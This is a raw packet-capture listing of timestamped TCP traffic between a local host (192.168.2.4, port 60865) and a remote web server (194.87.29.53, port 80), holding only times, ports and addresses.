Sep 27, 2024 18:29:07.955372095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955395937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955414057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955446005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955459118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955468893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955480099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955487967 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955503941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955528975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955720901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955733061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955743074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955771923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955784082 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955851078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955889940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955890894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955902100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955929995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955936909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.955952883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955965042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.955998898 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.956012964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.956619024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.956656933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.956667900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.956670046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.956696033 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.956707954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.956746101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.956757069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.956767082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.956778049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.956792116 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.956814051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.956984043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957031965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957034111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957043886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957079887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957079887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957150936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957160950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957171917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957182884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957204103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957216024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957446098 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957496881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957520008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957532883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957541943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957552910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957565069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957567930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957581997 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957581997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957593918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.957608938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957624912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.957647085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.959789991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.959800005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.959805965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.959839106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.959846973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.959856987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.959860086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.959891081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.959949017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.959959984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.959970951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.959990978 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.960012913 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.961343050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.961385965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.961393118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.961396933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.961426020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.961447001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.961461067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.961472988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.961483955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.961494923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.961504936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.961508989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.961512089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.961523056 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.961549044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049278975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049458027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049467087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049479008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049489975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049504042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049514055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049523115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049556017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049556017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049556017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049556017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049556017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049771070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049782991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049793005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049812078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049823046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049823999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049834013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049845934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049846888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049856901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049866915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049871922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049879074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049890041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049897909 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049897909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049909115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049912930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049925089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049936056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049937010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049947023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.049969912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.049984932 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050229073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050240993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050250053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050261021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050271988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050281048 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050282001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050295115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050307989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050314903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050331116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050342083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050343037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050353050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050374031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050393105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050409079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050421000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050460100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050610065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050621033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050631046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050640106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050651073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050659895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050661087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050676107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050679922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050690889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050702095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050705910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050713062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050717115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050743103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050764084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050854921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050877094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050884962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050910950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050925016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.050946951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050957918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050968885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.050978899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.051002979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.051018953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.051069975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.051117897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.053949118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.053962946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054008007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.054025888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054065943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.054081917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054092884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054131985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.054162979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054173946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054183960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054214001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.054227114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.054923058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054940939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054950953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.054970980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.054985046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.055011988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055027008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055037975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055047989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055053949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.055078983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.055099964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.055102110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055146933 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.055629015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055640936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055651903 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055681944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.055696964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.055731058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055742025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055757999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055769920 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.055780888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.055808067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056097031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056107044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056118965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056133032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056149960 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056163073 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056190968 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056193113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056205034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056215048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056224108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056238890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056262016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056632042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056651115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056658983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056684017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056695938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056714058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056725025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056735039 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056746006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056761980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056768894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056796074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056818008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056864977 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056925058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056936026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056946993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056957960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056968927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.056973934 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.056976080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057003975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.057015896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.057027102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057068110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.057548046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057565928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057575941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057598114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.057612896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.057670116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057681084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057691097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057703972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057715893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.057723045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.057734013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.057760954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.059859991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.059906960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.059916019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.059933901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.059943914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.059945107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.059967041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.059990883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.060050011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060060978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060070992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060101032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.060112953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.060349941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060400963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.060403109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060452938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.060482979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060493946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060504913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060534000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.060554981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.060600042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060611010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060620070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.060652971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.060674906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.139470100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139482975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139492035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139538050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.139540911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139554024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139564037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139575005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139576912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.139599085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139600039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.139626026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.139642000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.139857054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139866114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139877081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139906883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.139919996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.139936924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139947891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.139983892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140100956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140140057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140147924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140151024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140172005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140182018 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140194893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140208006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140212059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140259981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140290976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140300989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140311956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140341043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140351057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140422106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140438080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140448093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140458107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140470028 CEST	80	60865	194.87.29.53	192.168.2.4
